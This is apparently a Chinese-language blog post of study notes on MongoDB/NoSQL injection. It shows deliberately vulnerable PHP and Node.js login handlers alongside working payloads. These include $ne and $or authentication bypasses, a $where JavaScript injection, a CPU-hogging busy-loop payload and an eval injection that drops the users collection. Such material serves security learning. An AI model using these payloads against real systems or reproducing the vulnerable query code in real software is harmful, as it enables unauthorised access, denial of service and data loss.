NOSQL注入学习

续上一篇mongodb注入的博客,其实大体差不多,新增了一些js的注入问题和driver的mongodb shell的命令执行问题,学习的参考链接 https://www.anquanke.com/post/id/97211

概述

首先说下NOSQL的注入,NoSQL泛指非关系型数据库,相比传统的SQL数据库有更宽松的一致性限制,它通过减少关系约束和一致性检查来提供更好的性能和扩展性,但即使没有使用sql的语法,它们依然可以被攻击,而且由于NoSQL注入可以在程序语言中执行,而不是在声明式SQL语言中执行,所以潜在的影响要更大. NoSQL的调用是通过应用程序的语言来编写的,所以过滤掉常见的HTML特殊字符并不能阻止Nosql攻击 分类我们直接按传统sql分类来看吧

NoSQL注入分类

(1)永真式 也就是通过注入代码,让生成的表达式结果永远为真,从而绕过认证,可以脑补'or'1'='1 (2)联合查询 通过参数来改变查询的数据集来绕认证,脑补' and false union select 1,md5(1)%23 (3)javascript注入 新的漏洞,由允许执行数据中的js的NoSQL数据库引入. js使得在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入可以注入js代码,导致非法数据获取

php中的NoSQL注入

重言注入

拿文中代码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']

);
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

一个简单的登录处理,data变量存在注入

1
payload:username[$ne]=1&password[$ne]=1

联合查询注入

随意看下,这个还是自由发挥吧

1
2
3
4
string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"
payload:

username=tolkien', $or: [ {}, { 'a':'a&password=' } ]

JavaScript注入

where操作符

在mongodb中,where操作符是可以执行js语句的,Mongodb2.4之前的$where可以使用map-reduce,group来访问mongo shell中的全局变量和属性 给出示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$query_body =array(
'$where'=>"
function q()
{
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";
if(username == 'admin'&&password == '123456')
return true;
else
{
return false;
}
}
");
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

我们在这里注入

1
payload:username=1&password=1;return true;

查看数据流 blacsheep php先将参数加到js里面,然后形成了一个奇奇怪怪的js,这个js返到mongodb里,然后在查询的时候,服务器执行了我们想要执行的js,从而绕过验证 然后文中一个让mongodb服务器cpu飙升的payload

1
username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();
Command方法注入

php官方已经友情提示不要使用了,但还是难免有人为了实现奇怪的功能去使用,给出示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

cmd那里存在拼接的Mongodb的shell执行,如果应用连接的数据库权限够高,我们可以干的事情就很多,比如可以

1
payload:username=2′});db.users.drop();db.user.find({‘username’:’2

删库跑路了解一下

Node.js中的NoSQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
mongoose.connect('mongodb://localhost/test', { useMongoClient: true });
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();
app.set('views', __dirname);
app.set('view engine', 'jade');

app.get('/', function(req, res) {
res.render('index', {});
});

app.use(bodyParser.json());

app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index', {message: err.message});
}
if (!user) {
return res.render('index', {message: 'Sorry!'});
}

return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
});
});

var server = app.listen(49090, function () {
console.log('listening on port %d', server.address().port);
});

打扰了,不会nodejs,虽然分析主要部分还是没啥问题的.. payload

1
2
3
POST http://127.0.0.1:49090/
HTTP/1.1Content-Type: application/json{
"username": {"$ne": null},"password": {"$ne": null}}